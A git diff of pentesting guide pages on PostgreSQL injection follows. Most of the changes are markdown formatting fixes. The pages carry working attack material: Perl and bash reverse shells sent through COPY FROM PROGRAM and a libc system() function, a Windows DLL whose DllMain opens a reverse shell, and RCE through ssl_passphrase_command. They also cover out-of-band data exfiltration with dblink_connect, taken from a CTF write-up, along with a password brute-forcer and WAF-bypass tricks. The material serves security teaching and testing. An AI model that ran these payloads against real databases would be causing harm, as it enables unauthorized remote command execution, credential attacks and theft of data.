new functionality for '[COPY TO/FROM PROGRAM](https://paquier.xyz/postgresql-2/postgres-9-3-feature-highlight-copy-tofrom-program/)' was implemented. This allows the database superuser, and any user in the ‘pg\_execute\_server\_program’ group to run arbitrary operating system commands. +Since[ version 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), new functionality for '[COPY TO/FROM PROGRAM](https://paquier.xyz/postgresql-2/postgres-9-3-feature-highlight-copy-tofrom-program/)' was implemented. This allows the database superuser, and any user in the ‘pg_execute_server_program’ group to run arbitrary operating system commands. ```bash #PoC @@ -61,24 +61,24 @@ DROP TABLE IF EXISTS cmd_exec; COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'''; ``` -Or use the `multi/postgres/postgres_copy_from_program_cmd_exec` module from **metasploit**. +Or use the `multi/postgres/postgres_copy_from_program_cmd_exec` module from **metasploit**.\ More information about this vulnerability [**here**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). While reported as CVE-2019-9193, Postges declared this was a [feature and will not be fixed](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/). ### RCE with PostgreSQL extensions -Once you have **learned** from the previous post **how to upload binary files** you could try obtain **RCE uploading a postgresql extension and loading it**. +Once you have **learned** from the previous post **how to upload binary files** you could try obtain **RCE uploading a postgresql extension and loading it**.\ [**Lear how to abuse this functionality reading this post.**](rce-with-postgresql-extensions.md)\*\*\*\* ### PostgreSQL configuration file RCE The **configuration file** of postgresql is **writable** by the **postgres user** which is the one running the database, so as **superuser** you can write files in the filesystem, and therefore you can **overwrite this file.** -![](../../../.gitbook/assets/image%20%28232%29.png) +![](<../../../.gitbook/assets/image (303).png>) The configuration file have some interesting attributes that can lead to RCE: * `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Path to the private key of the database -* `ssl_passphrase_command = ''` If the private file is protected by password \(encrypted\) postgresql will **execute the command indicated in this attribute**. +* `ssl_passphrase_command = ''` If the private file is protected by password (encrypted) postgresql will **execute the command indicated in this attribute**. * `ssl_passphrase_command_supports_reload = off` **If** this attribute is **on** the **command** executed if the key is protected by password **will be executed** when `pg_reload_conf()` is **executed**. Then, an attacker will need to: @@ -93,7 +93,7 @@ Then, an attacker will need to: 2. `ssl_passphrase_command_supports_reload = on` 6. Execute `pg_reload_conf()` -While testing this I noticed that this will only work if the **private key file has privileges 640**, it's **owned by root** and by the **group ssl-cert or postgres** \(so the postgres user can read it\), and is placed in _/var/lib/postgresql/12/main_. +While testing this I noticed that this will only work if the **private key file has privileges 640**, it's **owned by root** and by the **group ssl-cert or postgres** (so the postgres user can read it), and is placed in _/var/lib/postgresql/12/main_. **More** [**information about this technique here**](https://pulsesecurity.co.nz/articles/postgres-sqli)**.** @@ -101,21 +101,21 @@ While testing this I noticed that this will only work if the **private key file ### PostgreSQL String functions -Manipulating strings could help you to **bypass WAFs or other restrictions**. +Manipulating strings could help you to **bypass WAFs or other restrictions**.\ [**In this page** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**you can find some useful Strings functions.** ### Stacked Queries Remember that postgresql support stacked queries, but several application will throw an error if 2 responses are returned when expecting just 1. But, you can still abuse the stacked queries via Time injection: -```text +``` id=1; select pg_sleep(10);-- - 1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- - ``` ### XML tricks -#### query\_to\_xml +#### query_to_xml This function will return all the data in XML format in just one file. It's ideal if you want to dump a lot of data in just 1 row: @@ -123,9 +123,9 @@ This function will return all the data in XML format in just one file. It's idea SELECT query_to_xml('select * from pg_user',true,true,''); ``` -#### database\_to\_xml +#### database_to_xml -This function will dump the whole database in XML format in just 1 row \(be careful if the database is very big as you may DoS it or even your own client\): +This function will dump the whole database in XML format in just 1 row (be careful if the database is very big as you may DoS it or even your own client): ```sql SELECT database_to_xml(true,true,''); @@ -133,17 +133,16 @@ SELECT database_to_xml(true,true,''); ### Forbidden quotes -If cannot use quotes for your payload you could bypass this with `CHR` for basic clauses \(_character concatenation only works for basic queries such as SELECT, INSERT, DELETE, etc. It does not work for all SQL statements_\): +If cannot use quotes for your payload you could bypass this with `CHR` for basic clauses (_character concatenation only works for basic queries such as SELECT, INSERT, DELETE, etc. It does not work for all SQL statements_): -```text +``` SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69); ``` Or with `$`. This queries return the same results: -```text +``` SELECT 'hacktricks'; SELECT $$hacktricks$$; SELECT $TAG$hacktricks$TAG$; ``` - diff --git a/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md b/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md index 094c788e..29cce4db 100644 --- a/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md +++ b/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md @@ -1,12 +1,12 @@ -# Big Binary Files Upload \(PostgreSQL\) +# Big Binary Files Upload (PostgreSQL) ## PostgreSQL Large Objects -PostgreSQL exposes a structure called **large object \(**`pg_largeobject` table\), which is used for storing data that would be difficult to handle in its entirety \(like an image or a PDF document\). As opposed to the `COPY TO` function, the advantage of **large objects** lies in the fact that the **data** they **hold** can be **exported back** to the **file system** as an **identical copy of the original imported file**. +PostgreSQL exposes a structure called** large object (**`pg_largeobject` table), which is used for storing data that would be difficult to handle in its entirety (like an image or a PDF document). As opposed to the `COPY TO` function, the advantage of **large objects** lies in the fact that the **data **they **hold **can be **exported back **to the **file system **as an** identical copy of the original imported file**. -In order to **save a complete file inside this table** you first need to **create an object** inside the mentioned table \(identified by a **LOID**\) and then **insert chunks of 2KB** inside this object. It's very important that all the **chunks have 2KB** \(except possible the last one\) **or** the **exporting** function to the file system **won't work**. +In order to **save a complete file inside this table** you first need to **create an object** inside the mentioned table (identified by a **LOID**) and then** insert chunks of 2KB** inside this object. It's very important that all the **chunks have 2KB** (except possible the last one) **or **the **exporting **function to the file system **won't work**. -In order to **split** your **binary** in **chunks** of size **2KB** you can do: +In order to **split **your **binary **in **chunks **of size **2KB **you can do: ```bash split -b 2048 pg_exec.so #This will create files of size 2KB @@ -20,7 +20,7 @@ xxd -ps -c 99999999999 #Encoded in 1 line ``` {% hint style="info" %} -When exploiting this remember that you have to send **chunks of 2KB clear-text bytes** \(not 2KB of base64 or hex encoded bytes\). If you try to automate this, the size of a **hex encoded** file is the **double** \(then you need to send 4KB of encoded data for each chunk\) and the size of a **base64** encoded file is `ceil(n / 3) * 4` +When exploiting this remember that you have to send **chunks of 2KB clear-text bytes** (not 2KB of base64 or hex encoded bytes). If you try to automate this, the size of a **hex encoded **file is the **double **(then you need to send 4KB of encoded data for each chunk) and the size of a **base64 **encoded file is `ceil(n / 3) * 4` {% endhint %} Also, debugging the process you can see the contents of the large objects created with: @@ -29,7 +29,7 @@ Also, debugging the process you can see the contents of the large objects create select loid, pageno, encode(data, 'escape') from pg_largeobject; ``` -## Using lo\_creat & Base64 +## Using lo_creat & Base64 First, we need to create a LOID where the binary data is going to be saved: @@ -38,7 +38,7 @@ SELECT lo_creat(-1); -- returns OID of new, empty large object SELECT lo_create(173454); -- attempts to create large object with OID 43213 ``` -If you are abusing a **Blind SQLinjection** you will be more interested on using `lo_create` with a **fixed LOID** so you **know where** you have to **upload** the **content**. +If you are abusing a **Blind SQLinjection** you will be more interested on using `lo_create` with a **fixed LOID** so you **know where **you have to **upload **the **content**.\ Also, note that there is no syntax error the functions are `lo_creat` and `lo_create`. LOID is used to identify the object in the `pg_largeobjec`t table. Inserting chunks of size 2KB into the `pg_largeobject` table can be achieved using: @@ -49,7 +49,7 @@ INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 1, decode('', 'base64')); ``` -Finally you can export the file to the file-system doing \(during this example the LOID used was `173454`\): +Finally you can export the file to the file-system doing (during this example the LOID used was `173454`): ```sql SELECT lo_export(173454, '/tmp/pg_exec.so'); @@ -65,16 +65,16 @@ You possible may be interested in delete the large object created after exportin SELECT lo_unlink(173454); -- deletes large object with OID 173454 ``` -## Using lo\_import & Hex +## Using lo_import & Hex -In this scenario lo\_import is going to be used to create a large object object. Fortunately in this case you can \(and cannot\) specify the LOID you would want to use: +In this scenario lo_import is going to be used to create a large object object. Fortunately in this case you can (and cannot) specify the LOID you would want to use: ```sql select lo_import('C:\\Windows\\System32\\drivers\\etc\\hosts'); select lo_import('C:\\Windows\\System32\\drivers\\etc\\hosts', 173454); ``` -After creating the object you can start inserting the data on each page \(remember, you have to insert chunks of 2KB\): +After creating the object you can start inserting the data on each page (remember, you have to insert chunks of 2KB): ```sql update pg_largeobject set data=decode('', 'hex') where loid=173454 and pageno=0; @@ -83,7 +83,7 @@ update pg_largeobject set data=decode('', 'hex') where loid=173454 and page update pg_largeobject set data=decode('', 'hex') where loid=173454 and pageno=3; ``` -The HEX must be just the hex \(without `0x` or `\x`\), example: +The HEX must be just the hex (without `0x` or `\x`), example: ```sql update pg_largeobject set data=decode('68656c6c6f', 'hex') where loid=173454 and pageno=0; @@ -102,7 +102,6 @@ Note the in newest versions of postgres you may need to **upload the extensions ## Limitations -After reading the documentation of large objects in PostgreSQL, we can find out that **large objects can has ACL** \(Access Control List\). It's possible to configure **new large objects** so your user **don't have enough privileges** to read them even if they were created by your user. +After reading the documentation of large objects in PostgreSQL, we can find out that **large objects can has ACL **(Access Control List). It's possible to configure **new large objects** so your user **don't have enough privileges** to read them even if they were created by your user. However, there may be **old object with an ACL that allows current user to read it**, then we can exfiltrate that object's content. - diff --git a/pentesting-web/sql-injection/postgresql-injection/dblink-lo_import-data-exfiltration.md b/pentesting-web/sql-injection/postgresql-injection/dblink-lo_import-data-exfiltration.md index ce9bbdca..e5d2001a 100644 --- a/pentesting-web/sql-injection/postgresql-injection/dblink-lo_import-data-exfiltration.md +++ b/pentesting-web/sql-injection/postgresql-injection/dblink-lo_import-data-exfiltration.md @@ -1,41 +1,41 @@ -# dblink/lo\_import data exfiltration +# dblink/lo_import data exfiltration **This is an example of how to exfiltrate data loading files in the database with `lo_import` and exfiltrate them using `dblink_connect`.** ## **Preparing the exfiltration server/**Asynchronous SQL Injection -**Extracted from:** [**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)\*\*\*\* +**Extracted from: **[**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)**** Because the `pg_sleep` also doesn't cause delay, we can safely assume if query execution occurs in the background or asynchronously. -Normally, `dblink_connect` can be used to open a persistent connection to a remote PostgreSQL database \(e.g. `SELECT dblink_connect('host=HOST user=USER password=PASSWORD dbname=DBNAME')`\). Because we can control the parameter of this function, we can perform SQL Server Side Request Forgery to our own host. That means, we can perform Out-of-Band SQL Injection to exfiltrate data from SQL query results. At least, there are two ways to do this: +Normally, `dblink_connect` can be used to open a persistent connection to a remote PostgreSQL database (e.g. `SELECT dblink_connect('host=HOST user=USER password=PASSWORD dbname=DBNAME')`). Because we can control the parameter of this function, we can perform SQL Server Side Request Forgery to our own host. That means, we can perform Out-of-Band SQL Injection to exfiltrate data from SQL query results. At least, there are two ways to do this: -1. Set up a **DNS server** and then trigger the connection to `[data].our.domain` so that we can see the data in the log or in the DNS network packets. -2. Set up a **public PostgreSQL server, monitor the incoming network packets to PostgreSQL port**, and then trigger a connection to our host with exfiltrated data as `user`/`dbname`. By **default**, PostgreSQL doesn't use SSL for communication so we can see `user`/`dbname` as a **plain-text** on the network. +1. Set up a **DNS server **and then trigger the connection to `[data].our.domain` so that we can see the data in the log or in the DNS network packets. +2. Set up a **public PostgreSQL server, monitor the incoming network packets to PostgreSQL port**, and then trigger a connection to our host with exfiltrated data as `user`/`dbname`. By **default**, PostgreSQL doesn't use SSL for communication so we can see `user`/`dbname` as a** plain-text **on the network. -The **second method is easier** because we don't need any domain. We only need to set up a server with a public IP, install PostgreSQL, set the PostgreSQL service to listen to \*/0.0.0.0, and run a network dumper \(e.g. tcpdump\) to monitor traffic to the PostgreSQL port \(5432 by default\). +The **second method is easier** because we don't need any domain. We only need to set up a server with a public IP, install PostgreSQL, set the PostgreSQL service to listen to \*/0.0.0.0, and run a network dumper (e.g. tcpdump) to monitor traffic to the PostgreSQL port (5432 by default). -To set PostgreSQL so that it will **listen to the public**, set `listen_addresses` in `postgresql.conf` to `*`. +To set PostgreSQL so that it will** listen to the public**, set `listen_addresses` in `postgresql.conf` to `*`. -```text +``` listen_addresses = '*' ``` To monitor incoming traffic, run `tcpdump` to monitor port 5432. -```text +``` sudo tcpdump -nX -i eth0 port 5432 ``` To see if we get a connection from the target, we can try using this query: -```text +``` asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=farisv password=postgres dbname=hellofromfb')) -- ``` If successful, we get a piece of network packet with readable `user` and `dbname`. -```text +``` 17:14:11.267060 IP [54.185.163.254.50968] > [REDACTED]: Flags [P.], seq 1:43, ack 1, win 229, options [nop,nop,TS val 970078525 ecr 958693110], length 42 0x0000: 4500 005e 9417 4000 2706 248c 36b9 a3fe E..^..@.'.$.6... 0x0010: 9de6 2259 c718 2061 5889 142a 9f8a cb5d .."Y...aX..*...] @@ -47,13 +47,13 @@ If successful, we get a piece of network packet with readable `user` and `dbname Then, we can **continue to extract the database using several PostgreSQL queries**. Note that for each query result that contains whitespaces, we need to convert the result to **hex/base64** with `encode` function or replace the whitespace to other character with `replace` function because it will cause an execution error during `dblink_connect` process. -Get a **list** of **schemas**: +Get a **list **of **schemas**: -```text +``` asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(schema_name,':') FROM information_schema.schemata) || ' password=postgres dbname=postgres')) -- ``` -```text +``` 17:36:46.538178 IP 54.185.163.254.51018 > [REDACTED]: Flags [P.], seq 1:70, ack 1, win 229, options [nop,nop,TS val 971433789 ecr 960048322], length 69 0x0000: 4500 0079 ecd5 4000 2706 cbb2 36b9 a3fe E..y..@.'...6... 0x0010: 9de6 2259 c74a 2061 1e74 4769 b404 803d .."Y.J.a.tGi...= @@ -65,13 +65,13 @@ asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg 0x0070: 6f73 7467 7265 7300 00 ostgres. ``` -Get a **list** of **tables** in current schema: +Get a **list **of **tables **in current schema: -```text +``` asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(tablename, ':') FROM pg_catalog.pg_tables WHERE schemaname=current_schema()) || ' password=postgres dbname=postgres')) -- ``` -```text +``` 17:38:30.515438 IP 54.185.163.254.51026 > [REDACTED]: Flags [P.], seq 1:42, ack 1, win 229, options [nop,nop,TS val 971537775 ecr 960152304], length 41 0x0000: 4500 005d f371 4000 2706 c532 36b9 a3fe E..].q@.'..26... 0x0010: 9de6 2259 c752 2061 8dd4 e226 24a3 a5c5 .."Y.R.a...&$... @@ -81,13 +81,13 @@ asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg 0x0050: 7365 0070 6f73 7467 7265 7300 00 se.postgres. ``` -**Count** the **rows** in `searches` table. +**Count **the **rows **in `searches` table. -```text +``` asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT COUNT(*) FROM searches) || ' password=postgres dbname=postgres')) -- ``` -```text +``` 17:42:39.511643 IP 54.185.163.254.51034 > [REDACTED]: Flags [P.], seq 1:35, ack 1, win 229, options [nop,nop,TS val 971786760 ecr 960401280], length 34 0x0000: 4500 0056 7982 4000 2706 3f29 36b9 a3fe E..Vy.@.'.?)6... 0x0010: 9de6 2259 c75a 2061 5ec0 7df0 8611 357d .."Y.Z.a^.}...5} @@ -105,13 +105,13 @@ It looks like it only has one empty table in the current schema and the flag is ## **Exfiltrating large object contents** -It's possible to read file using large objects \([https://www.postgresql.org/docs/11/lo-funcs.html](https://www.postgresql.org/docs/11/lo-funcs.html)\). We can use `lo_import` to load the contents of the file into the `pg_largeobject` catalog. If the query is success, we will get the object's `oid`. +It's possible to read file using large objects ([https://www.postgresql.org/docs/11/lo-funcs.html](https://www.postgresql.org/docs/11/lo-funcs.html)). We can use `lo_import` to load the contents of the file into the `pg_largeobject` catalog. If the query is success, we will get the object's `oid`. -```text +``` asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT lo_import('/var/lib/postgresql/data/secret')) || ' password=postgres dbname=postgres')) -- ``` -```text +``` 17:54:51.963925 IP 54.185.163.254.51046 > [REDACTED]: Flags [P.], seq 1:39, ack 1, win 229, options [nop,nop,TS val 972519214 ecr 961133706], length 38 0x0000: 4500 005a 071f 4000 2706 b188 36b9 a3fe E..Z..@.'...6... 0x0010: 9de6 2259 c766 2061 26fb c8a7 bbb3 fe01 .."Y.f.a&....... @@ -123,15 +123,15 @@ asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT lo_import( We got 24668 as `oid` so that means we can use `lo_import` function. Unfortunately, we won't get any results if we try to get the content of large object using `lo_get(24668)` or directly access the `pg_largeobject` catalog. **It looks like the current user doesn't have permission to read the content of new objects.** -After reading the documentation of large objects in PostgreSQL, we can find out that **large objects can has ACL** \(Access Control List\). That means, if there is an old object with an ACL that allows current user to read it, then we can exfiltrate that object's content. +After reading the documentation of large objects in PostgreSQL, we can find out that **large objects can has ACL **(Access Control List). That means, if there is an old object with an ACL that allows current user to read it, then we can exfiltrate that object's content. We can get a list of available large object's `oid` by extracting from `pg_largeobject_metadata`. -```text +``` asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(cast(l.oid as text), ':') FROM pg_largeobject_metadata l) || ' password=postgres dbname=postgres')) -- ``` -```text +``` 18:06:57.172285 IP 54.185.163.254.51052 > [REDACTED]: Flags [.], seq 1:2897, ack 1, win 229, options [nop,nop,TS val 973244413 ecr 961858878], length 2896 0x0000: 4500 0b84 7adf 4000 2606 339e 36b9 a3fe E...z.@.&.3.6... 0x0010: 9de6 2259 c76c 2061 8d76 e934 10c9 3972 .."Y.l.a.v.4..9r @@ -155,12 +155,11 @@ We can try to load some objects with lowest `oid` to find out if the flag file h To load the flag: -```text +``` asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT convert_from(lo_get(16444), 'UTF8')) || ' password=postgres dbname=p ``` #### More info of oid: -* [https://balsn.tw/ctf\_writeup/20190603-facebookctf/\#hr\_admin\_module](https://balsn.tw/ctf_writeup/20190603-facebookctf/#hr_admin_module) +* [https://balsn.tw/ctf_writeup/20190603-facebookctf/#hr_admin_module](https://balsn.tw/ctf_writeup/20190603-facebookctf/#hr_admin_module) * [https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md) - diff --git a/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md b/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md index dab87274..19fe59c0 100644 --- a/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md +++ b/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md @@ -10,25 +10,25 @@ Once you have dblink loaded you could be able to perform some interesting tricks ### Privilege Escalation -The file `pg_hba.conf` could be bad configured **allowing connections** from **localhost as any user** without needing to know the password. This file could be typically found in `/etc/postgresql/12/main/pg_hba.conf` and a bad configuration looks like: +The file `pg_hba.conf` could be bad configured **allowing connections **from **localhost as any user **without needing to know the password. This file could be typically found in `/etc/postgresql/12/main/pg_hba.conf` and a bad configuration looks like: -```text +``` local all all trust ``` -_Note that this configuration is commonly used to modify the password of a db user when the admin forget it, so sometimes you may find it. -Note also that the file pg\_hba.conf is readable only by postgres user and group and writable only by postgres user._ +_Note that this configuration is commonly used to modify the password of a db user when the admin forget it, so sometimes you may find it._\ +_Note also that the file pg_hba.conf is readable only by postgres user and group and writable only by postgres user._ -This case is **useful if** you **already** have a **shell** inside the victim as it will allow you to connect to postgresql database. +This case is **useful if **you **already **have a **shell **inside the victim as it will allow you to connect to postgresql database. Another possible misconfiguration consist on something like this: -```text +``` host all all 127.0.0.1/32 trust ``` -As it will allow everybody from the localhost to connect to the database as any user. -In this case and if the **`dblink`** function is **working**, you could **escalate privileges** by connecting to the database through an already established connection and access data shouldn't be able to access: +As it will allow everybody from the localhost to connect to the database as any user.\ +In this case and if the **`dblink`** function is **working**, you could **escalate privileges **by connecting to the database through an already established connection and access data shouldn't be able to access: ```sql SELECT * FROM dblink('host=127.0.0.1 @@ -44,11 +44,11 @@ SELECT * FROM dblink('host=127.0.0.1 RETURNS (result1 TEXT, result2 TEXT); ``` -**Find** [**more information about this attack in this paper**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt)**.** +**Find **[**more information about this attack in this paper**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt)**.** ### Port Scanning -Abusing `dblink_connect` you could also **search open ports**. If that **function doesn't work you should try to use `dblink_connect_u()`** as the documentation says that _`dblink_connect_u()` is identical to `dblink_connect()`, except that it will allow non-superusers to connect using any authentication method_. +Abusing `dblink_connect` you could also** search open ports**. If that **function doesn't work you should try to use `dblink_connect_u()` **as the documentation says that _`dblink_connect_u()` is identical to `dblink_connect()`, except that it will allow non-superusers to connect using any authentication method_. ```sql SELECT * FROM dblink_connect('host=216.58.212.238 @@ -77,9 +77,9 @@ ERROR: could not establish connection DETAIL: received invalid response to SSL negotiation: ``` -Note that **before** being able to use `dblink_connect` or `dblink_connect_u` you may need to execute: +Note that **before **being able to use` dblink_connect` or `dblink_connect_u` you may need to execute: -```text +``` CREATE extension dblink; ``` @@ -105,4 +105,3 @@ END; $$ LANGUAGE plpgsql SECURITY DEFINER; SELECT testfunc(); ``` - diff --git a/pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md b/pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md index 1dfbd118..3d7e1448 100644 --- a/pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md +++ b/pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md @@ -1,6 +1,6 @@ # PL/pgSQL Password Bruteforce -PL/pgSQL, as a **fully featured programming language**, allows much more procedural control than SQL, including the **ability to use loops and other control structures**. SQL statements and triggers can call functions created in the PL/pgSQL language. +PL/pgSQL, as a** fully featured programming language**, allows much more procedural control than SQL, including the **ability to use loops and other control structures**. SQL statements and triggers can call functions created in the PL/pgSQL language. You can abuse this language in order to ask PostgreSQL to brute-force the users credentials, but it must exist on the database. You can verify it's existence using: @@ -11,7 +11,7 @@ SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql'; plpgsql | ``` -By default, **creating functions is a privilege granted to PUBLIC**, where PUBLIC refers to every user on that database system. To prevent this, the administrator could have had to revoke the USAGE privilege from the PUBLIC domain: +By default,** creating functions is a privilege granted to PUBLIC**, where PUBLIC refers to every user on that database system. To prevent this, the administrator could have had to revoke the USAGE privilege from the PUBLIC domain: ```sql REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC; @@ -69,7 +69,7 @@ select brute_force('127.0.0.1', '5432', 'postgres', 'postgres'); _Note that even brute-forcing 4 characters may take several minutes._ -You could also **download a wordlist** and try only those passwords \(dictionary attack\): +You could also **download a wordlist** and try only those passwords (dictionary attack): ```sql //Create the function @@ -106,5 +106,4 @@ $$ LANGUAGE 'plpgsql' select brute_force('127.0.0.1', '5432', 'postgres', 'postgres'); ``` -**Find**[ **more information about this attack in this paper**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt)**.** - +**Find**[** more information about this attack in this paper**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt)**.** diff --git a/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md b/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md index d79e9f8a..1937e6d1 100644 --- a/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md +++ b/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md @@ -2,15 +2,15 @@ ## PostgreSQL Extensions -PostgreSQL is designed to be easily extensible. For this reason, extensions loaded into the database can function just like features that are built in. -Extensions are modules that supply extra functions, operators, or types. They are libraries written in C. -From PostgreSQL > 8.1 the extension libraries must be compiled with a especial header or PostgreSQL will refuse to execute them. +PostgreSQL is designed to be easily extensible. For this reason, extensions loaded into the database can function just like features that are built in.\ +Extensions are modules that supply extra functions, operators, or types. They are libraries written in C.\ +From PostgreSQL > 8.1 the extension libraries must be compiled with a especial header or PostgreSQL will refuse to execute them. -Also, keep in mind that **if you don't know how to** [**upload files to the victim abusing PostgreSQL you should read this post.**](big-binary-files-upload-postgresql.md)\*\*\*\* +Also, keep in mind that** if you don't know how to **[**upload files to the victim abusing PostgreSQL you should read this post.**](big-binary-files-upload-postgresql.md)**** ### RCE in Linux -The process for executing system commands from PostgreSQL 8.1 and before is straightforward and well documented \([Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload)\): +The process for executing system commands from PostgreSQL 8.1 and before is straightforward and well documented ([Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload)): ```c CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT; @@ -26,11 +26,11 @@ HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro. This error is explained in the [PostgreSQL documentation](https://www.postgresql.org/docs/current/static/xfunc-c.html): -> To ensure that a dynamically loaded object file is not loaded into an incompatible server, PostgreSQL checks that the file contains a “magic block” with the appropriate contents. This allows the server to detect obvious incompatibilities, such as code compiled for a different major version of PostgreSQL. A magic block is required as of PostgreSQL 8.2. To include a magic block, write this in one \(and only one\) of the module source files, after having included the header fmgr.h: +> To ensure that a dynamically loaded object file is not loaded into an incompatible server, PostgreSQL checks that the file contains a “magic block” with the appropriate contents. This allows the server to detect obvious incompatibilities, such as code compiled for a different major version of PostgreSQL. A magic block is required as of PostgreSQL 8.2. To include a magic block, write this in one (and only one) of the module source files, after having included the header fmgr.h: > -> `#ifdef PG_MODULE_MAGIC -> PG_MODULE_MAGIC; -> #endif` +> `#ifdef PG_MODULE_MAGIC`\ +> `PG_MODULE_MAGIC;`\ +> `#endif` So for PostgreSQL versions since 8.2, an attacker either needs to take advantage of a library already present on the system, or upload their own library, which has been compiled against the right major version of PostgreSQL, and includes this magic block. @@ -43,7 +43,7 @@ SELECT version(); PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit ``` -The major versions have to match, so in this case compiling a library using any 9.6.x should work. +The major versions have to match, so in this case compiling a library using any 9.6.x should work.\ Then install that version in your system: ```bash @@ -77,7 +77,7 @@ SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"'); #Notice the double single quotes are needed to scape the qoutes ``` -You can find this **library precompiled** to several different PostgreSQL versions and even can **automate this process** \(if you have PostgreSQL access\) with: +You can find this** library precompiled** to several different PostgreSQL versions and even can **automate this process** (if you have PostgreSQL access) with: {% embed url="https://github.com/Dionach/pgexec" %} @@ -85,7 +85,7 @@ For more information read: [https://www.dionach.com/blog/postgresql-9-x-remote-c ### RCE in Windows -The following DLL takes as input the **name of the binary** and the **number** of **times** you want to execute it and executes it: +The following DLL takes as input the **name of the binary** and the **number **of **times **you want to execute it and executes it: ```c #include "postgres.h" @@ -126,7 +126,7 @@ pgsql_exec(PG_FUNCTION_ARGS) You can find the DLL compiled in this zip: -{% file src="../../../.gitbook/assets/pgsql\_exec.zip" %} +{% file src="../../../.gitbook/assets/pgsql_exec.zip" %} You can indicate to this DLL **which binary to execute** and the number of time to execute it, in this example it will execute `calc.exe` 2 times: @@ -216,7 +216,7 @@ Datum dummy_function(PG_FUNCTION_ARGS) } ``` -Note how in this case the **malicious code is inside the DllMain function**. This means that in this case it isn't necessary to execute the loaded function in postgresql, just **loading the DLL** will **execute** the reverse shell: +Note how in this case the** malicious code is inside the DllMain function**. This means that in this case it isn't necessary to execute the loaded function in postgresql, just **loading the DLL** will **execute **the reverse shell: ```c CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT; @@ -224,19 +224,21 @@ CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\sha ### RCE in newest Prostgres versions -On the **latest versions** of PostgreSQL, the `superuser` is **no** longer **allowed** to **load** a shared library file from **anywhere** else besides `C:\Program Files\PostgreSQL\11\lib` on Windows or `/var/lib/postgresql/11/lib` on \*nix. Additionally, this path is **not writable** by either the NETWORK\_SERVICE or postgres accounts. +On the **latest versions **of PostgreSQL, the `superuser` is **no **longer **allowed **to **load **a shared library file from **anywhere **else besides `C:\Program Files\PostgreSQL\11\lib` on Windows or `/var/lib/postgresql/11/lib` on \*nix. Additionally, this path is **not writable** by either the NETWORK_SERVICE or postgres accounts. -However, an authenticated database `superuser` **can write** binary files to the file-system using “large objects” and can of course write to the `C:\Program Files\PostgreSQL\11\data` directory. The reason for this should be clear, for updating/creating tables in the database. +However, an authenticated database `superuser` **can write **binary files to the file-system using “large objects” and can of course write to the 